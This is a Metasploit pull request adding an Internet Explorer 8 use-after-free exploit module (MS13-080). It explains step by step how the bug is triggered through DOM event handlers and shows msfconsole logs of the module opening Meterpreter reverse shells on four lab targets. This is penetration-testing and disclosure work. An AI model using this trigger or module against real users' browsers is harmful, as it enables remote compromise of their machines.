rapid7/metasploit-framework — pull request #2510 by wchen-r7 (2013-10-12 18:21:36+00:00)
Title: Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free

This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and the vendor until the October patch release.

This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user.

The module has been tested against the following setups:

* IE 8 + Win 7 + Office 2007
* IE 8 + Win 7 + Office 2010
* IE 8 + Win 7 + JRE6
* IE 8 + Win XP

Demo for setup 1 (IE8 + Win 7 + Office 2007):

$ msfconsole -q
msf > use exploit/windows/browser/ms13_080_cdisplaypointer
msf exploit(ms13_080_cdisplaypointer) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/iUz9VHP
[*] Local IP: http://10.0.1.76:8080/iUz9VHP
[*] Server started.
msf exploit(ms13_080_cdisplaypointer) >
[*] 10.0.1.9 ms13_080_cdisplaypointer - Checking out target...
[*] 10.0.1.9 ms13_080_cdisplaypointer - Target uses Microsoft Windows 7 MSIE 8.0 with office2007 DLL... engaging.
[*] Sending stage (770048 bytes) to 10.0.1.9
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.9:49347) at 2013-10-12 13:07:30 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.9:49347) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2488
[+] Successfully migrated to process

Demo for setup 2 (IE 8 + Win 7 + Office 2010):

$ msfconsole -q
msf > use exploit/windows/browser/ms13_080_cdisplaypointer
msf exploit(ms13_080_cdisplaypointer) > run
[*] Exploit running as background job.
[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/quUXPn5IL93M2
[*] Local IP: http://10.0.1.76:8080/quUXPn5IL93M2
[*] Server started.
msf exploit(ms13_080_cdisplaypointer) >
[*] 10.0.1.6 ms13_080_cdisplaypointer - Checking out target...
[*] 10.0.1.6 ms13_080_cdisplaypointer - Target uses Microsoft Windows 7 MSIE 8.0 with office2010 DLL... engaging.
[*] Sending stage (770048 bytes) to 10.0.1.6
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.6:49413) at 2013-10-12 13:11:17 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.6:49413) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2172)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1780
[+] Successfully migrated to process

Demo for setup 3 (IE 8 + Win 7 + JRE6):

$ msfconsole -q
msf > use exploit/windows/browser/ms13_080_cdisplaypointer
msf exploit(ms13_080_cdisplaypointer) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/y8nZkCMlypRYfEg
[*] Local IP: http://10.0.1.76:8080/y8nZkCMlypRYfEg
[*] Server started.
msf exploit(ms13_080_cdisplaypointer) >
[*] 10.0.1.9 ms13_080_cdisplaypointer - Checking out target...
[*] 10.0.1.9 ms13_080_cdisplaypointer - Target uses Microsoft Windows 7 MSIE 8.0 with default DLL... engaging.
[*] Sending stage (770048 bytes) to 10.0.1.9
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.9:49160) at 2013-10-12 13:18:51 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.9:49160) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (516)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2612
[+] Successfully migrated to process

Demo for setup 4 (IE8 + XP):

$ msfconsole -q
msf > use exploit/windows/browser/ms13_080_cdisplaypointer
msf exploit(ms13_080_cdisplaypointer) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/zi5zhThzD19o8qH
[*] Local IP: http://10.0.1.76:8080/zi5zhThzD19o8qH
[*] Server started.
msf exploit(ms13_080_cdisplaypointer) > [*] 10.0.1.76 ms13_080_cdisplaypointer - Checking out target...
[*] 10.0.1.76 ms13_080_cdisplaypointer - Target uses Microsoft Windows XP MSIE 8.0 with default DLL... engaging.
[*] Sending stage (770048 bytes) to 10.0.1.76
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.76:59265) at 2013-10-12 13:20:23 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.76:59265) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2708)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 608
[+] Successfully migrated to process